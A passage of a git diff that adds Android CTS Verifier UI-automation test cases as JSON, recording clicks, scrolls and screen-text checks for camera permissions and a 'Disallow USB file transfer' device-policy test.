app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Camera permissions\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":125.5,\"y\":399.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":54.5,\"y\":10.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"c6a0e502-1b90-459c-86d5-a48cd8552de6\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera permissions\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":51.0,\"y1\":388.0,\"x2\":200.0,\"y2\":411.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Camera permissions\",\"actionId\":\"35e412ff-d12c-45d7-82ef-7675d9531aa6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Camera permissions\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"168b3ab4-4301-4967-b22d-ca5de1ec2700\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c928e778-8574-487d-b581-665748a7dcc6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"65e7d16b-9413-4398-a707-a2461a5b641a\",\"9f3dbb0f-75e3-408b-b746-4cc3f196810b\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"1ecae25d-ffd0-4b33-9986-8c1a6aab99c7\",\"85cdde49-1659-4aeb-a5a0-42fb08d7a6ff\",\"034d5968-a791-4164-8b00-450ddadb3db1\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"d59ed507-e043-43d6-9fa3-d7be4faee9b3\",\"35e412ff-d12c-45d7-82ef-7675d9531aa6\",\"c06f1557-8c66-44c1-8dc2-dad782d2f597\",\"168b3ab4-4301-4967-b22d-ca5de1ec2700\",\"c928e778-8574-487d-b581-665748a7dcc6\",\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-08-Camera access permission","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.180000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/87a99bc2-662c-408a-891a-ebb93954ea8f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/87a99bc2-662c-408a-891a-ebb93954ea8f
new file mode 100644
index 0000000..b2349da
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/87a99bc2-662c-408a-891a-ebb93954ea8f
@@ -0,0 +1 @@
+{"uuid":"87a99bc2-662c-408a-891a-ebb93954ea8f","details":"{\"type\":\"CompoundAction\",\"name\":\"09-Disallow USB file transfer\",\"actionId\":\"87a99bc2-662c-408a-891a-ebb93954ea8f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow USB file transfer\",\"actionId\":\"142b5146-3cf6-4557-bd30-ce0c66989877\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow USB file transfer\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"400bf7f1-73ec-4d2e-ba25-b9e477dc65a5\",\"displayText\":\"Disallow USB file transfer\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow USB file transfer\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":450.3333333333333,\"x2\":350.6666666666667,\"y2\":494.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.5,\"y\":473.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":86.5,\"y\":-1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"400bf7f1-73ec-4d2e-ba25-b9e477dc65a5\",\"firstText\":\"Disallow USB file transfer\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow USB file transfer\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":459.0,\"x2\":181.0,\"y2\":488.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow USB file transfer\",\"actionId\":\"b44d4a7c-7c57-47b6-913d-763529abe2ab\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow USB file transfer\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Charging this device via USB\",\"actionId\":\"1412d1dc-df33-4824-a518-3b1577d0a5a0\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Charging this device via USB\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a6cdc3eb-7aaa-4d26-8809-cc69fa0fba92\",\"displayText\":\"Charging this device via USB\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9819149b-0b03-4927-a9cd-87a9a6d5f102\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":552.6666666666666,\"x2\":356.3333333333333,\"y2\":646.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"15fe7632-87e5-4387-9175-b0a87a7a7fde\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b86eeb44-3b84-4bcd-834e-cb3147b3efd5\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d5cdf7eb-2271-4f79-b3bf-c86c8dbab422\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6122aabc-3256-432b-a82b-190425f60998\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":18.333333333333332,\"y1\":567.3333333333334,\"x2\":33.666666666666664,\"y2\":584.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":18.333333333333332,\"y1\":567.3333333333334,\"x2\":37.666666666666664,\"y2\":584.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"a761c224-101c-4c0f-b572-7ed2ea9677b7\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Android System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.333333333333336,\"y1\":568.3333333333334,\"x2\":118.66666666666667,\"y2\":583.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"aeb9856f-62c6-4e7b-89c9-9752c34788b1\",\"displayText\":\"•\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":122.66666666666667,\"y1\":568.3333333333334,\"x2\":126.33333333333333,\"y2\":583.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"•\"},{\"uuid\":\"dc8d6e30-a275-4fc2-ba56-af51e02077a1\",\"displayText\":\"Charging this device via USB\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text\",\"text\":\"Charging this device via USB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":130.33333333333334,\"y1\":568.3333333333334,\"x2\":269.6666666666667,\"y2\":583.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.5,\"y\":-0.33333333333325754,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Charging this device via USB\"},{\"uuid\":\"867e4201-1b9c-49cf-a501-4a874a6b6845\",\"displayText\":\"Expand\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/expand_button\",\"contentDesc\":\"Expand\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":309.3333333333333,\"y1\":553.6666666666666,\"x2\":353.3333333333333,\"y2\":597.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Expand\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":552.6666666666666,\"x2\":356.3333333333333,\"y2\":598.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":552.6666666666666,\"x2\":356.3333333333333,\"y2\":646.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"659b6507-c275-4b87-9042-2e9b66c3bfd2\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":552.6666666666666,\"x2\":356.3333333333333,\"y2\":646.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":552.6666666666666,\"x2\":356.3333333333333,\"y2\":598.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":198.5,\"y\":576.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-18.5,\"y\":-0.33333333333337123,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"dc8d6e30-a275-4fc2-ba56-af51e02077a1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Charging this device via USB\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":124.0,\"y1\":563.0,\"x2\":273.0,\"y2\":589.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Charging this device via USB\",\"actionId\":\"d32b4e4d-d5df-433e-86ff-66c06a3e8cef\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Charging this device via USB\"},{\"type\":\"ConditionClickAction\",\"name\":\"Click Charging this device via USB notification again if it is collapsed\",\"actionId\":\"7a49908c-38af-42cc-b20f-fc01919bdabd\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Charging this device via USB\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f1136c15-8621-4e12-980e-d51231cadf15\",\"displayText\":\"Charging this device via USB\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"10b8d250-7b6a-4cd1-80e1-6af743bb82a2\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.android.systemui:id/backgroundNormal\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":540.6666666666666,\"x2\":356.3333333333333,\"y2\":637.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"46884c8b-51e1-4024-acf2-c9bfb3d6a226\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"baf7fe68-b52c-4aae-8084-f1af9c54fd5f\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2b589873-46e5-4ff1-a12a-44d147760134\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7743f055-477b-4daf-976a-6bde64477719\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":18.333333333333332,\"y1\":555.3333333333334,\"x2\":33.666666666666664,\"y2\":572.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"android:id/header_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":18.333333333333332,\"y1\":555.3333333333334,\"x2\":37.666666666666664,\"y2\":572.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"2152aa86-3282-4fae-acc3-e1087d23286f\",\"displayText\":\"Android System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/app_name_text\",\"text\":\"Android System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":40.333333333333336,\"y1\":556.3333333333334,\"x2\":118.66666666666667,\"y2\":571.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"7025cbcb-97fd-4ba6-a466-6114abc1bf27\",\"displayText\":\"•\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text_divider\",\"text\":\"•\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":122.66666666666667,\"y1\":556.3333333333334,\"x2\":126.33333333333333,\"y2\":571.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"•\"},{\"uuid\":\"72cef6e6-e578-404f-b307-4ffc0f06728e\",\"displayText\":\"Charging this device via USB\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/header_text\",\"text\":\"Charging this device via USB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":130.33333333333334,\"y1\":556.3333333333334,\"x2\":269.6666666666667,\"y2\":571.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.0,\"y\":0.16666666666674246,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Charging this device via USB\"},{\"uuid\":\"57d7625d-708c-4084-b2c1-2cc262287b92\",\"displayText\":\"Expand\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"android:id/expand_button\",\"contentDesc\":\"Expand\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":309.3333333333333,\"y1\":541.6666666666666,\"x2\":353.3333333333333,\"y2\":585.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Expand\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/notification_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":540.6666666666666,\"x2\":356.3333333333333,\"y2\":586.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/expanded\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":540.6666666666666,\"x2\":356.3333333333333,\"y2\":637.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Android System\"},{\"uuid\":\"ffff79d1-8a5a-4d5c-9162-b0dbb7c8fbe5\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.android.systemui:id/fake_shadow\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":540.6666666666666,\"x2\":356.3333333333333,\"y2\":637.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.6666666666666665,\"y1\":540.6666666666666,\"x2\":356.3333333333333,\"y2\":586.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":197.0,\"y\":563.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-17.0,\"y\":0.16666666666662877,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"72cef6e6-e578-404f-b307-4ffc0f06728e\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Charging this device via USB\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":123.0,\"y1\":551.0,\"x2\":271.0,\"y2\":576.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if File transfer(MTP) is not displayed\",\"actionId\":\"89cbed0b-3048-48f7-a651-40f8469ff35a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"CONTAINS\",\"patternValue\":\"File transfer\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1f0126b5-4b51-4fc5-8741-0917e32f733e\",\"displayText\":\"File transfer / Android Auto\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"039de253-df98-4b67-9c81-797a271fb166\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c506b754-f5ee-42ef-aaa1-b823933b6945\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.RadioButton\",\"resourceId\":\"android:id/checkbox\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":11.0,\"y1\":379.6666666666667,\"x2\":40.333333333333336,\"y2\":409.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/widget_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":370.0,\"x2\":51.333333333333336,\"y2\":419.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"00965e82-8c5f-4974-9422-0d0fb8890759\",\"displayText\":\"File transfer / Android Auto\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d96cb894-49de-4f8c-ad70-de0a87d7a676\",\"displayText\":\"File transfer / Android 